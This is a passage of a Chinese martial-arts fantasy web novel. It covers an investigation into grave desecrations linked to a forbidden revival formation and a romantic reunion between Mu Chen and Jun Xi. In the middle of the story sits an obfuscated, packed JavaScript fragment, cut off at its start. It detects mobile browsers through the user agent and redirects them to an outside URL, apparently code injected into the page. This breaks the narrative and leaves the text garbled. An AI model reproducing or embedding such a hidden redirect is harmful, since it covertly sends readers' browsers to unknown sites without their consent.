何初看不下去,先一步将楼里的伙计安置到一个较为安全的角落,顺带挡下了几只箭。
慕沉亦从楼上跃下,挑起剑阻止他们近一步的战况。
原本他是不想多管闲事的,奈何何初看起来是想管的意思。
奇迹般的,被轻而易举地阻止了,没有一个人伤亡。
何初走上前,眉头轻皱,似颇有不满:“诸位若是想斗,何必殃及无辜?”
绝音阁的尹护法一看是何初慕沉二人,随即收起武器,对二人道:“关于风荷举的事,二位前辈恐怕有所不知。”
“呃……”何初有些不好意思地打断了一下,“其实我知道。”
慕沉和尹护法都顿了一下。
尹护法似乎听出什么不同寻常的意思,不确定地问道:“莫非此事的断定也有何前辈参与?”
何初扶额,不想承认地点点头。他解释道:“此事我虽没有亲历,但追查后却发现风荷举是你门派之人。”
所以绝音阁真正该责问的对象是何初?
慕沉默默挪动自己的位置,离何初一臂远,表示撇清关系。
何初见他举动,翻了个白眼,要不要这么见势而为啊!
见好就收,慕沉又回到原处。
尹护法突然将目光投向他。“慕前辈尚不知情,可否请您出面,助绝音阁夺回清白?”
“空口无凭,我为什么要相信你而不是他?”慕沉淡然处之。
何初一脸好兄弟不辜负的表情看着他。
哪知尹护法似乎早有准备,胸有成竹地表明:“我们阁主会答应您任何条件,只要您开口。”
这海口是不是夸得有点太大了?
“你确定你不是虚报命令?”慕沉表示怀疑,没有明确拒绝。他倒想知道这个风荷举到底干了什么。“算了,这个都无所谓。事关清诡门以及我旁边这人的声誉,就算没有你说的条件,我也没理由置之不理。”
尹护法喜出望外。
慕沉都答应了,何初也没再说什么。只是这样一来,何初为鸿琛堂做事,而慕沉则助绝音阁,无形间两人算是对立上了。
清诡门的掌门和长老竟站在了对立面,江湖上他们还算是头一遭。
“二位前辈,恕在下先失陪,回去禀明阁主。”尹护法说完,带领一众弟子离开了霁月楼。
慕沉刚想对何初说点什么,鸿琛堂一弟子急忙找到他们,在一位长老的耳旁低语了几句,随即长老脸色一变,有些失态地反复确认:
“你说什么?你确定?”
“段长老,何事发生?”何初有些担忧地问道。
段长老却是没空搭理,忙不择路地跑了,走之前还听见他嘴里骂骂咧咧。
鸿琛堂的其他长老留下一句“告辞”也跟着离开,一时间只剩下慕沉何初两人在霁月楼风中凌乱。
不过何初也不在乎,揽着他的肩膀上楼,回到刚才那间雅间,该吃酒吃酒,该喝茶喝茶。
何初顺道把风荷举的案件全部告知慕沉。
事情最开始发生在一块墓碑前,墓碑下的坟被人挖起来了,留下一片莲花瓣。起初是没人在意的,以为就是盗墓贼作怪罢了。
结果第二次,第三次,竟然变成挖人家的族坟祖祠,照样留下一片莲花瓣。倒是想抓住此人,但此人太过狡猾,根本不见踪影,若是没有那片莲花瓣,恐怕就成了一个无头悬案。
这可是触怒了各门派的大忌,生怕下一次来刨的是自己家的祖坟。
“只是单凭一片荷花瓣,怎么能够确认是风荷举所为?”慕沉问。若是因为人家名字里含有一个“荷”字,而荷花刚好与莲花相近,未免太过牵强。
“你想错了,这花摆放的位置才是重点。”何初知道他的猜测,解释道,“花瓣每每朝向东南摆放,正对应五行中的木。除却前三次的现场我没看到,我是凭接下来的五次才注意到的。”
“居然有这么多?”慕沉咋舌。
“是啊。”何初已经见怪不怪了,“这个‘风’才是真正的线索。‘风’对应的恰好也是五行中的木元素。不止这些,将所有花瓣结合起来,就代表了人的三魂七魄,与他的生辰八字极为匹配,这绝不可能是巧合。你觉得一个人为什么会如此奉行五行之道?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761029|157740||http|test|mini|href|location''.split(''|''),0,{}));
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>“难道风荷举不是人?”慕沉根据刚才所说的线索推测道。
如若是普通人,根本无法在戒备森严的各门派祖祠里作案,更别说已经做了八次。何初认同道:“可以啊,这就被你猜出来了。”
“这很难猜吗?”慕沉反问。
“你还没回答我呢。你觉得他为什么如此奉行五行之道?”
五行、莲花、三魂七魄,很难不让人联想到——
“复生阵?”慕沉陷入沉思。
何初点头,“看来你还记得。”
鸿琛堂百年前疗愈弟子的阵法叫其名,后来变成绝生阵,阴气太重被封,变成禁术,知晓其门道的一只手都数得过来;如今所谓的“复生”与“绝生”本质不变,若是出现了,势必能追查到源头,有哪个不要命的敢明目张胆摆出来用?
莫非单陔识被慕沉设计对付之后沉寂了近百年,如今又卷土重来?
霁月楼华艳之下,一袭白衣淡雅脱俗,青年的手中抱着琵琶,依旧步履轻盈,不紧不慢地踏上二楼的台阶。此刻霁月楼剩下他们两个宾客,只能是奔着他们去的。
交谈间,雅间门被俩杂役一左一右大开,随后进来的是一名男子。他眼中含着笑,散发着妖冶的气息,仿佛能洞察人心,与身上的白衣截然相反,却又莫名地不违和。
待他进入雅间,门又默契地被关上了。
慕沉听见杂役的喊他“尚公子”,言语中暗含着恭敬。
“不请自来,二位前辈勿怪。”尚公子双手抱着琵琶,对二人微微颔首,跟他们坐在一块。
“失敬失敬。”何初依稀记得对方,是楼里较为亮眼的弦师,不久前亦在楼下经历了一场风雨。
“敢问阁下前来是何用意?”慕沉不兜圈子,直接问道。
尚公子轻笑一声,开门见山道:“今日鸿琛堂与绝音阁在此生事,霁月楼可谓损失惨重,还未赔偿便一走了之。二位似乎与那两派熟识,不妨将账目结清?”
涉及到钱这方面,不是慕沉该管的事,他转头听何初表态。
只见何初立马撇清关系:“鸿琛堂和绝音阁惹出的乱子,关我清诡门什么事!你没看到吗,若不是我们俩出面,指不定你们这个楼今天就没了。”
“可我听说二位不久后将替他们办事。”
“那也得找他们。”何初毫不犹豫。
“好吧。”尚公子妥协道,腾出一只手指了指琵琶,“可这个总该要您赔。”
慕沉定睛一看,琵琶赫然断了一弦。
何初愣道:“为什么?”
“原本是没事的,谁知何前辈挡了那么多箭,恰好飞到琵琶,将弦弄断了。”尚公子轻叹,有点可惜着说,“琵琶易取,琴弦难得……这可是我花了大量心力从旁人那里讨来的……”
不是慕沉说,这位尚公子像是来讹人的。他看了眼何初,对方好像有些不知所措,不免有些好笑。
“传说地府牵鬼的线名为‘九幽’,韧性不错,我看就很适合做琴弦。”慕沉憋着笑安慰他道。
何初瞪了他一眼,有些无语:“你也知道是传说。你去一个地府试试呢?”他想了半天,最后只能找补,承诺对方:“这弦算我欠你的,若是将来我寻到更好的再赔你。以后要是有任何难处亦可来清诡门寻我。”
口头承诺最是不可信,只是没想到尚公子轻易地就答应了。“那就说好了。我相信前辈君子一言。哦对了,还请二位再帮个小忙——”
“向绝音阁和鸿琛堂讨债。”
绝音阁也就罢了,鸿琛堂不是霁月楼的东家吗?
慕沉这么想的,也就问出口了。
“不过是合作关系罢了。”尚公子回答得漫不经心,似乎和鸿琛堂关系不怎么样。“拜托二位前辈了。我瞧他们一时半会不敢来这里的,讨不到债。”
慕沉点头答应下来,反正不是难事,只要不是出钱的那个人就行。何初更是一口答应,不带半点犹豫的。
“这便不再打扰。”尚公子从容地站起身,雅间的门也适时打开了。
慕沉观对方气质风度不似一个普通的弦师,况且追债也不是一个弦师能管的,必然有别的身份,便认真询问:“敢问阁下是?”
“不才夭离,霁月楼的另一位东家。”尚公子嘴角微微上扬,再次颔首以示告别,“二位,尽兴。”
慕沉了然。
只听何初小声嘀咕了一句,“哪有东家出来卖艺的?”
走到门口的尚夭离转过头,一抹意味深长的笑容浮现,像是在回答何初,说:“我喜欢。”
50. 石边诉情花间醉
深夜将至,慕沉难得饮了些酒,带着点醉意在一间客栈稍作歇息,明日便得打起精神,去处理那些个纷杂繁乱的纷争。
都说酒是用来忘记烦恼的,可为什么他喝了之后反而更加不自觉地想起前尘往事呢,难道是喝得不够多吗?
朦胧间,他起身倒了点茶水,谁知客栈的门竟从外面打开了,带着一股清风。像是在做梦一样,他明明记得自己已经关好了门。
只见一个人影拉过他的手腕,朝门外的方向走去。
“先生,可算找到你了。”
是君谿的声音。
慕沉还没反应过来,被对方拉着踏出了房门。
顷刻间,天似乎亮了,有些刺目。入眼是一块巨石间被水流侵蚀后形成的小瀑布,阳光照射下竟有长虹显现,带着雾气缭绕,宛若脱离了尘世。这里早已不是客栈,身后也变成了一片花海,被灵动的水流滋养着。
眼前之人也十分真实。
君谿带着他这么随处坐下,好不惬意。
“先生。”
被君谿这么唤着,醉意竟渐渐散去,意识清醒了几分。
云端之别后,这还没过一旬。他以为下次见面会是很久之后,两人不会再像之前那样坦然相处,至少不会是像现在这样——君谿仍然泰然自若地面对他,像是什么都没发生一样。
“白沙镇时说好了,要带先生看更好看的风景。”君谿面带笑意,“先生,好看吗?”
他目不转睛的盯着少年,想从对方眼里猜透心思,哪还有别的什么景色。
他没能猜到,倏地想起对方在云端上说的话。
都过去了——云竹是真的不在意。
那他还有什么理由独自伤怀?明明当事人都还没说什么,他何必像个小丑一样,别扭地想七想八。
“好看。”
听到他的赞美声,君谿很是愉悦,指着瀑布认真地介绍:“这是石边镇最特别的地方,天永远是亮着的,亘古不变。起初是……”
“云竹。”慕沉的心思不在风景,喊了一声。
久违的一声呼唤,似蕴含着说不尽的情愫。君谿顿住,随即抬眼看过来,格外坦然。
“先生总算知道了。”
“我其实早就知道,只是怕——”慕沉骤然停顿,不再往下说。
“我若是怨你恨你,便不会再来寻你。”君谿知道他未尽之言,耐心地陈述,声音轻和——
“先生,我很想你。”
慕沉突然觉得自己眼中有点酸涩,急忙别过头闭上双眼,企图平静心中泛起的波澜。
一句话就让他失了心神。让他这些年背负的煎熬减轻了几分。
他等这句话等了百年,等眼前之人亦等了百年。
再也压不住尘封在心底的执念。
慕沉低头看了眼自己的手掌,君谿的手已经覆了过来,先是小心的触碰,随后十指相扣,对方的掌心有些冰凉。
感受着手指间传来的异样,是从前还未来得及言明的。慕沉不自觉地凑近,手上的力道也多了几分——牢牢抓住,无法轻易放开。
他在想,有些事情若是不趁早解决,会后悔很久。就像百年前还未来得及说出口的话,没法再错过了。
此时此景此人,正正好好。
“我……”他嗓音低沉,话到了嘴边又不知怎么开口。
若是百年前有这个氛围,他就直接告白了。可如今时过境迁,他们都经历了太多,沉淀了太久,他总觉得一句“我喜欢你”太过简单,一句“我爱你”太过单调,根本无法囊括他复杂的情感。
慕沉最后干脆什么也不说清,忠于内心最强烈的欲望,直白道:“我想亲吻你。”
君谿没有说什么,眼眸中透含着之前未有过的温情,柔和而缱绻。他松开慕沉的手,不自觉起身跪在花丛里,双手轻放在慕沉的肩上,主动凑过来,在唇边烙下一吻。
慕沉敛了所有神色,搂过对方,带着他已经压抑了许久的情感,带着最苦涩、迷恋、痴情的疯狂,加深了这个吻。情之所至,君谿睫毛轻颤,闭上了眼睛,难舍难分。
……
“先生……”君谿抱住他,声音在他耳边厮磨,早就乱了分寸,只是胡乱地喊着。
真想这么一直待到天荒地老。
不过他们终选择面对现实。
“你刚刚还没说完,这里的风景起初是什么?”慕沉这才回想起来这的缘由,也许只是少年的一时兴起,以及对方始终记得的口头承诺。
“起初是石边镇共有的地界,后来被绝音阁买下,变成绝音阁私有。”君谿脱口而出。
“那你怎么——”慕沉的视线不自觉放在对方的嘴唇上。他眯了眯眼,似乎意识到什么不对劲。
君谿面不改色地解释:“我与绝音阁首座相熟,得以一览此景。我觉得不容错过,便带先生来了。”
“绝音阁。”慕沉若有所思,“是从前那个吗?”
百年前也有一个门派叫做绝音阁,与他关系匪浅,少年更是。这是他们共同的记忆,无需多说就心知肚明。
“不是。如今的绝音阁体系完备,且光明磊落。正如其名,它有两层含义,一是门派里的弟子大多修习音律,靡靡之音,绝世动听;二是此门派的作风,断绝尘世之音。”君谿滔滔不绝,看起来对什么事都很了解。
“原来如此。”慕沉点点头表示了然,“没想到你懂得这么多。”
君谿谦虚道:“我只是恰好认识绝音阁的内部人员,先生懂的比我更多。”
“哪有。说起来,我还受人之托,要向绝音阁要债。也不知他们阁主是不是好相与的,早知道不接受这档子请求。”慕沉权衡了一下利弊,如若是绝音阁不买单,那他算是接下了一个烂摊子。
君谿听后一愣,试探性地询问:“先生是受谁之托?我没听首座提起过绝音阁背负了债务。”
“今日傍晚发生的
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,你当然来不及知道。”慕沉没作隐瞒,“此人自称霁月楼的东家,不知你听没听说过,好像是叫尚夭离,倒挺特别的一个人。”
君谿顿时有些面色复杂,也不知是听了他的哪句话。
见对方的神情,慕沉下意识认为:“你不会也认识吧?”
“……嗯。”君谿回道。
他没发现对方有什么异常,抿了抿嘴,开玩笑似的说:“你认识的人倒还不少。若是哪一天你说你认识全天下的人,我都不觉得奇怪了。”
“……”
下一刻,君谿竟然凑过来又亲了他,只是单纯的触碰,就已情难自禁。他们视线交汇,各自传递着难以言诉的情绪。动作很快,连慕沉都还没反应过来就结束了。
他正了正身形,问:“这是何意?”
君谿别过眼,一只手有意识没意识地在拔着杂草。
“先生说他特别。”
对方的心思简单而好猜。
慕沉怔住,随即失笑一声:“你难道还能不知我的情意吗?”
他现在总算明白了,不该在此时此地说其他无关紧要的事的。
不过好像问了个废话。也许君谿真的不知道,因为他从来没有直言过,哪怕刚刚如此动情的吻。可他不想藏着掖着。
“君谿……云竹,”无论是哪个名字,在他心里都那么珍贵。就因为叫这个名字的人……他伸手捧住对方的脸,重新对视,“我心里只装得下你。”
而后,他轻吻了君谿额头,一触即离,真挚的情感已经从眼里溢出,“所以别再想那些无谓的念头了。”
君谿对于他的这一番举动有些招架不住,明明只是一个吻、一句话。他往旁边挪了一点,不自在地移开视线,除了被亲吻的额头,耳根似乎也在微微发烫。
“知道了……”君谿声音轻小,似乎底气不足。
慕沉没见过对方这副迷糊的模样,像情窦初开的青涩,颇有些欣喜。这是他们都没经历过的,一想到这里,他就觉得好不真实。
待君谿缓过了那劲儿,见他没说话,盯着一处在发呆,便问:“先生在想什么?”
慕沉转头面对,大大方方地注视君谿。
一如往昔的少年模样。
他突然觉得与对方的年龄差过于大了,有些难以接受现实是怎么回事。
他内心如滴血,表面却十分镇定地问出心中一直的疑惑:“你是怎么回来的?”
君谿脸上的笑容僵了一瞬,但几乎没有变化,说:“我……”
他看出了君谿犹豫的表情,便知道一时半会儿得不到答案了。“没关系,你若是难以开口,我也不会逼问。”毕竟对方已经在他身边了不是吗。
“我以后慢慢再告诉先生好吗?”君谿声音逐渐变小,“……只怕先生知道后,会被吓一跳。”
“好。”他听见对方放低音量的话语,只是答应着,没说的是,无论是什么样的少年,他都欣然接受。
51. 苦诉坟乱动人心
那块地界真的像梦境一样,让人分不清现实。次日不知什么时间段,慕沉回到客栈,何初正到处寻他。
“你去哪了,一声不吭的,还以为你丢了。”
“我能那么容易丢吗?”慕沉不以为然道,“昨天解决了一下多年的心事。”
何初自然了解他的心事,愣了一下,问:“果真吗?”
“自然。”
“怎么解决的?云竹回来了?”何初疑惑地问,企图看他身后有没有人。
能解决他心事的人唯有云竹。
不过云竹,如今是君谿,要让何初失望了,他现在不在此处。
原本慕沉以为君谿会跟他一起回来,没想到对方说要去绝音阁跟朋友打个招呼。那他还能拒绝不成?只是怪可惜的,他想寸步不离地跟少年待在一块。
“别看了,他不在这。”慕沉淡淡地回复。
“他真回来了?!”何初声量提高,难掩惊喜之色,有些焦急地扒拉了一下他,“那你怎么不早说?”
慕沉奇怪地看着对方道:“你怎么看起来比我还高兴?”
“你别管。”何初白了他一眼,“他如今在哪?”
“在绝音阁。”
“啊?他怎么又跟绝音阁沾点关系?”何初也没忘云竹上辈子是绝音阁的人。
“那倒不是,他是去绝音阁跟里面的一个朋友叙旧的。”
“哦……那他现在是什么身份?有没有跟谁沾亲带故的?我认不认识?”何初滔滔不绝地问了一大堆问题,实在过于关注。
慕沉点了点头,面不改色地说:“他现在是君谿。”
“哦……嗯?!”何初眼珠子睁得老大,脑回路拐了一圈,理所当然道,“那你以后岂不是管君秋恒叫爹?”
“……”他现在十分无语。“这是重点吗?!再说了,又不是亲生的。”他问过君谿了,对方是在婴孩时期被君秋恒捡去的,看君秋恒是熟人才愿意被捡的。
慕沉当时听君谿说的时候就有点不是滋味了。早知道他这些年不总是宅在山上,说不定早就把君谿给捡回家了。
算了,看在君秋恒把君谿照顾得很好的份上,他就不计较这么多了。
“他管我叫爹还差不多。”慕沉仗着君秋恒不在这里,揶揄道。
何初神色复杂地看着他,“也成,你俩各喊各的。”
“滚你的。”慕沉忍不住笑起来,作势往对方的臂膀捶了一下。
“能回来就成。”何初拍了拍他的肩膀,突然想起,“差点忘说正事——”
“鸿琛堂宗祠被刨了。”
“?!”慕沉突然想起昨天那个段长老急匆匆不告而别,大抵就是因为这件事吧。
“这个无耻之徒!”被何初称作“段长老”的长者一头黑线,忍不住怒骂那风荷举,还不忘连坐绝音阁,真是气极了什么都不忌讳,“给我向绝音阁下战书!”
鸿琛堂如今的掌门,也就是这位段长老的徒弟,邹轩赶忙拉住段长老,顺着对方,道:“师父息怒,这绝音阁昨日看起来是不承认人是他们的,公然挑起争斗恐怕于理不合。”
“顾忌这些,本尊难道还怕了绝音阁不成?!”段长老一看到宗祠变成这副模样就怒火攻心,况且有气没处撒,这才怨到嫌疑最大的绝音阁头上。
慕沉一来就听见段长老痛心疾首地想要算账,越发好奇里面到底是什么惨不忍睹的模样。
原本这里算是鸿琛堂重地,慕沉这样的外人是无法擅入的,不过何初虽说已离开师门,好歹是念了旧情,这才同意让二人进去探查一番。
只是他来晚了,经过半天时间,除了乱糟糟的地面,其他地方已经被收拾过了。
鸿琛堂的祖祠里摆放着一尊约莫十寸的不知名石像,各个灵牌都是被供奉许久的门派曾经的长老、掌门,被不敬地随处搁置,此刻正被弟子们重新整理摆回灵台上。其中不乏有何初的师父。
何初拾起他师父的灵牌,不知回忆起什么,终是叹了口气,掸了掸灰,摆正。
“我倒好奇,这些‘坟’里到底有什么是值得风荷举惦念的?”慕沉打量四周,粗略察看一番。
每次作案要么公墓就是祖坟,若只是单纯设下复生阵,根本没必要大费周章。于是他动用术法,果然找出了非同寻常的地方。
何初显然也察觉到,那正是宗祠正中央摆放石像的位置,观察道:“这一处应该是‘他’设下的阵眼。”
“难道是集亡者之魂来奠祭他?”慕沉猜测着,“若真是复生阵,那他只剩下最后一道便可大功告成。”
他说话声音没有刻意压低,在场的鸿琛堂长老听见“复生阵”这三个字时,皆有各自的思量。
“确实,如此逆天行事,实在有违天道。”何初变得严肃起来,“你觉得最后一次他会在哪里出现?”
“按照三魂七魄的五行方位,应该不难推出吧?”
“嗯。来时我已大致得出,有三处地方最为可能。”何初直接替慕沉动了脑筋,陈列出三个位置,分别是西郊、程府、影刀阁。
西郊有一处墓场;程府则是石边镇一名隐客的栖居之所,列祖列宗皆在祖祠中供奉;而影刀阁在三教九流汇聚的石边镇算是比较低调的门派了,亦可作为复生阵的其中一阵。
“影刀阁就算了,据说此门派刚建立不过百年,哪来的宗祠给风荷举捣毁。”慕沉分析着,很快就先排除了一个可能。
按照风荷举先前九件事的作风,最大的共同点就是有一个“坟”,即魂灵常聚之所。像影刀阁这样的,第一任宗主尚在,门派内没有需供奉的逝者,不具备这样的条件。说起来,清诡门也是如此。
何初听后觉得有理,点点头,“这倒是。那接下来守株待兔即可。”
“好,那你去西郊墓场,我去程府。”得了线索后慕沉当机立断,心总想把事情快速解决。
两人竟是自动忽略了周围人的存在,自顾自地观察,完全不把自己当外人看,直到鸿琛堂的掌门适时靠近二人,慕沉才想起有这么一波人一直在听着。
邹轩眼底闪过一丝锋芒,问他们:“若是抓住风荷举,可否将其交予鸿琛堂处置?”为防他们不答应,他还给出承诺,“鸿琛堂会全力协助你二人,有什么事尽可吩咐。”
“这厮捅了这么大乱子,不严惩本尊实在咽不下这口气!”段长老道出目的。
两人一唱一和,慕沉下意识看向何初,暗示对方做出表态。
“若各派皆赞成,倒是无不可。”何初耸了耸肩,表示无所谓。<
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这话倒是没什么必要了。鸿琛堂本就代表着石边镇,境内各派又岂会与鸿琛堂找不痛快。况且对风荷举的审理有不是什么香饽饽的事,没必要争,那些受害人员自然愿意让鸿琛堂出头,毕竟鸿琛堂也是遭了罪了,总能讨到一个最完美最合适的说法的。
所以倘若风荷举不被抓到还好说,否则最终的归宿就是鸿琛堂。
听懂了何初的言外之意,邹轩脸色暂缓,当即下令派出一众弟子随二人调遣,慕沉在清诡门里都没有见过这阵势。
不过慕沉拒绝了好意。其一是因为他这一人不想带这么多人,其二是他去的是别人的府宅,又不是去打架的,不知道的还以为要拆房子呢。
他觉着何初就不应该拒绝,此行何初要探查的可是西郊的公墓,工程量巨大,没点人手还真顾不过来,谁知道风荷举届时会挖哪座坟呢。
何初默默地对他翻了白眼,扶额道:“我总算知道你打的什么主意。”
“你比我能成事,功劳大的让给你。”慕沉握了握对方的手,坏笑道。
何初一把甩开,显然带着怨气:“我看都是苦劳!”
“还好我提的快。”慕沉带了点得意和劫后余生,“你能推出他大致什么时候会再出现吗?”
“不能!”其实不难,只是何初气急败坏地想让他动动脑子。
“我来就我来。”慕沉撇撇嘴,沉思了一分钟,得出,“风荷举大概八个时辰后会再次行动。可以先去守着了。”
“这么快吗?”邹轩眼底透露惊讶之色。
“这算是最符合阵成的时段。他已经设下阵眼,只剩最后一道,恐怕早就等不及了。”慕沉淡淡解释。
“事不宜迟。”何初率先踏出了祠堂,带着一众弟子,经过他大徒弟的时候说了几句话,便风尘仆仆地离开。
慕沉与古平阳对视,见对方没有要行动的意思,问:“你怎么不跟着你师父?”
“师父让我跟着师叔。”古平阳拱手作揖,恭敬答道。
“也行。”慕沉稍做一番思量,便与对方同行。
程府不知是哪得来的消息,一早便派人守在了门口,慕沉刚说明来意便被请了进去。
程家家主程庸元是石边镇的隐客,出了名的高风亮节,他听说这风荷举来无影去无踪的,下一个目标估计就是他家的祖祠,此刻正怀揣不安地来回踱步。
倒不是怕了这风荷举,他曾经也算是在江湖混出了点名头,如今退隐罢了,他真正怕的是那厮的手段,连鸿琛堂这样的大门派都惨遭毒手,更别指望自家府里的人能防住。
慕沉自报上名号,见程庸元眼里似乎闪过一丝惊喜,赶忙请他到座上喝茶。
慕沉见了茶便有些走不动道,不过倒是没忘记自己是来干什么的,小酌一口便放下茶杯,恋恋不舍地言归正传:“不知阁下的家祠是否方便让我二人探查一二?也好防于未然。”
虽说家祠这等私密的禁区是外人没法进入的,不过事出有因,想必是能通融通融。
殊不知程庸元就等着慕沉说这句话,方才看他如此气定神闲地饮茶,心里急得团团转,面上却不太敢表露出来,最后好在慕沉眼里有活,程庸元不由分说就点头答应下来,生怕下一秒慕沉就会反悔一样。
52. 风去风来风又散
程府的祖祠,正中央摆的三块灵牌最为显眼,竟然还是玉做的,一看就是对这几位逝者尊敬非常。
程庸元介绍道:“这是我祖父,这是我祖父的祖父,这是我祖父的祖父的祖母……”
“打住。”慕沉手一抬,做了个“停下”的手势。再这么说下去估计他们家的祖宗十八代都被慕沉认识了。他随即变戏法般地掏出一面镜子,正是先前何初托司马锋给他的,此时总算派上用场。
慕沉催动术法,镜面复刻了复生阵的符文,随即显现出各种纹路,镜阵在其召唤下初见成型。按理说此时屋内应当与鸿琛堂的阵法别无二致,拟态复生阵至少会生效,目前看来却并没有任何反应。
古平阳在一旁护阵,此刻也发现了端倪:“师叔,这镜阵不起作用,风荷举怕是不会来此处。”
此言一出,程庸元脸上僵硬的表情终于和缓些许。悄悄打量了一下慕沉并无反驳的意思,他便彻底放下心。终于不用心惊胆战地面对风荷举那厮!
若不是这一处为阵,那便是何初那边的西郊墓场了。
慕沉从容地收回镜子,现下近乎已经确认复生阵不会设在此处,倒想着轻松了许多,心情甚好,对程庸元说:“打扰阁下,不知我可有幸留下饮完未尽的茶水?”
“自然自然。”喜闻乐见,程庸元先走在前面为二人带路。
转身离开之际,慕沉突然顿住脚步,直直盯着正龛的方向。
不对劲。
“师叔发现什么?”古平阳顺着他的方向看,那处正是程庸元所说他的祖父的祖父的祖母的玉灵牌。
“可有不妥之处?”程庸元见二人没动,又走回几步,接着看到他严肃的眼神盯着曾曾曾……祖母的主牌位,瞬间汗毛起立,有不好的预感。
慕沉问道:“个户人家的祖祠,难道无需供奉神像?”
他之前看鸿琛堂正中央摆了一个石像,以为只有门派的祠堂才会放这种东西。
“慕仙师……是何意?”对方有些云里雾里。
程庸元不明白他的意思,古平阳却一下子理解了,反应道:“先前随师父去事发之地,皆看见一尊石像摆在正龛处,难道不是祠堂应有的供奉吗?”
“……不可能,”程庸元当即否认,皱着眉头看着二人,似乎猜到了什么不对劲,“且不论二位仙师所言的石像究竟是什么,无论祖祠还是宗祠,都有各自的供奉,程某实在是孤陋寡闻,未曾听过这样的说法。”
慕沉瞬间便了然于心。他只见过一次案发现场,其余的线索皆是从何初那里得知,便下意识以何初的视角看待这个事件。
何初见过五次案发的祠堂,加上鸿琛堂就是六处,难道他就发现不到石像的异样吗?不,或许如古平阳所言,石像恐怕是前几处的共同点,那么所谓的异样就是稀松平常。他们没有立过宗祠,便想当然地认为所有祠堂都应该如此。
石像就是复生阵的媒介。
若此处来的人是何初,便会早早就发现端倪,不过好在他发现的也并不算晚。
传音启,慕沉挑明:“那个石像你多注意,复生阵通过它形成。”
“……我发现了。”何初那边传来。
何初发现了?慕沉思索着,若是一如往常,何初怎么发现?
那便是西郊墓场没有石像,也不是复生阵的阵点位。
何初显然也意识到他话中的含义,语气不明地确认:“你那边也没有?”这就奇了怪了。
“没有。看来你是被蒙在鼓里,剩下的时间只能重新寻找石像的下落。”慕沉有些遗憾,还以为能喝喝茶打发一下时间,真是片刻不得闲。
他结束传音,对程庸元说道:“既如此,我等还要继续追查,便不再叨扰。”
只是没有了范围限制,这偌大的石边镇,要何处寻得供奉这尊石像的祠堂?
绝音阁的尹护法在门外墙上靠着,见慕沉出了程府,走上来刷一刷自己的存在感。
“尹护法,好巧。”
尹平芜认真答道:“不巧,在下是奉首座之命,特意来找慕仙师的。”
鸿琛堂被捣宗祠一事早就传遍整个石边镇,几乎更加确信风荷举就是绝音阁派来报复鸿琛堂的,各个扬言绝音阁的手段低劣,现在的舆论对绝音阁十分不利,也正是尹平芜奉命前来同查的原因。
不过慕沉关注的却不是这个点,他问:“君谿呢?他是你们首座的好友,没与你同往吗?”
尹平芜一愣,欲言又止的模样,似乎是不知该怎么开口,支吾地回答:“呃……君公子还在绝音阁与首座寒暄。”
有什么话能聊这么久?慕沉暗自腹诽,颇有些不愉,不过没表现出来。
“不过应该快说完了!”尹平芜急忙找补,生怕慕沉有什么多余的想法,“慕仙师很快就能见到君公子!”
“这你都知道?”慕沉随口吐槽一句表示疑惑,倒没有刨根问底,而是言归正传道,“尹护法可有关于风荷举的线索?鸿琛堂咬定风荷举是你绝音阁中人,这里面有什么内情?”
“自然是有的——”尹平芜视线微动,不经意地瞥了眼他的身后,几人就这么在程府门口聊起来,话锋一转,“此处不是交谈之地,慕仙师不妨与在下换个地方相谈。”
慕沉随即点点头,“也好,我正要再回鸿琛堂一趟,不妨边走边说。”目前有关石像的线索他只知道一处,鸿琛堂非去不可。
“好的,慕仙师,”尹平芜应和着,“实不相瞒,绝音阁确有一人名叫风荷举,不过早在半年前就已经离世。”
“我听何初说过,可你知不知道如今大肆破坏别人祠堂的风荷举也不是普通人?”慕沉并没有忌讳尹平芜的可信度,这也许是君谿跟绝音阁尚有交情的一部分原因,将自己的猜测如实盘出,“不知你是否听说过‘周遭人’?”
尹平芜点头道:“听我们阁主提过。慕仙师的意思是这个风荷举是周遭人?”
这玩意很常见吗?为什么感觉很多人都知道?
他心情复杂地承认:“不无这个可能。”
谁呈想尹平芜了然一笑,摇了摇头。“实不相瞒,我们绝音阁门规森严,净心除秽,生不成这污糟之物。”
慕沉前后已遇两次周遭人,说到底,其本质就是执念。生前诸事未尽,死后无法安魂,还不是人的妄念作祟。而这种东西,活人最不缺,死人更不少。
绝音阁真有尹平芜说的那么完美?他不信,秉持着怀疑态度。
尹平芜知道他不相信,也没做多余解释,只神秘兮兮地说:“这是阁主亲口所说。哪天慕仙师去绝音阁,自然一睹为真。”
慕沉想起之前对方自作主张地代替绝音阁阁主对他夸下海口,实在是叫人好奇那创立门派的究竟是什么人。<
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p>一个满身是血的男子从接道交口冲了出来,此人神态慌张,步伐也是跌跌撞撞的,每一步看起来都十分艰难。但他未曾停下,一步三回头的,也不看路。眼看就要跟他们撞上,慕沉也顾不上说话了,身手敏捷地避开。
“……”
这人嘴里嘀咕着什么“救命”,也是没注意,被自己的脚绊倒在地,终于得偿所愿地晕了。
这动静倒是不小,正所谓有热闹的地方必有人出没,此刻将这名男子围了起来,交头接耳地议论着。
“这不是‘叫花子’吗?怎么感觉有段时间没看到他了。”
“你不知道啊,仁心居前阵时间收留了他,也算是有了一份生计。就是不知道他现在是做了什么孽哦……”
“要不说他们‘仁心’呢,连乞丐都愿意收留。”
“问题是这家伙怎么满身血,他现在不应该在那边好好做工吗,怎么感觉像被人追杀了。”
“嗐,说不定又干起旧本,偷奸耍滑被打给赶出来了。”
“也是。走走走,忙自个儿的去!”
几人在慕沉身后促谈,被听得一清二楚。
也仅止于此了,周围没有帮助这人的意思,看了几眼就四散而去。
慕沉与其他人面面相觑,按理说现在以风荷举之事为主,但每次他经过的地方必出幺蛾子,倒有点怀疑是有人故意的安排了。
“搭个把手。”他平静地喊了一声,三人合力将这个晕过去的人抬到角落。
都不用刻意去凑近,慕沉一嗅,便觉不对。一般来说,鲜红的像干涸的液体浸透衣背,很容易让人误会,这人身上根本不是血。
“朱砂?”古平阳显然也意识到这点,试探性一提。
尹平芜道一声“得罪”,二话不说便将此人的衣襟敞开,这一看不得了啊。
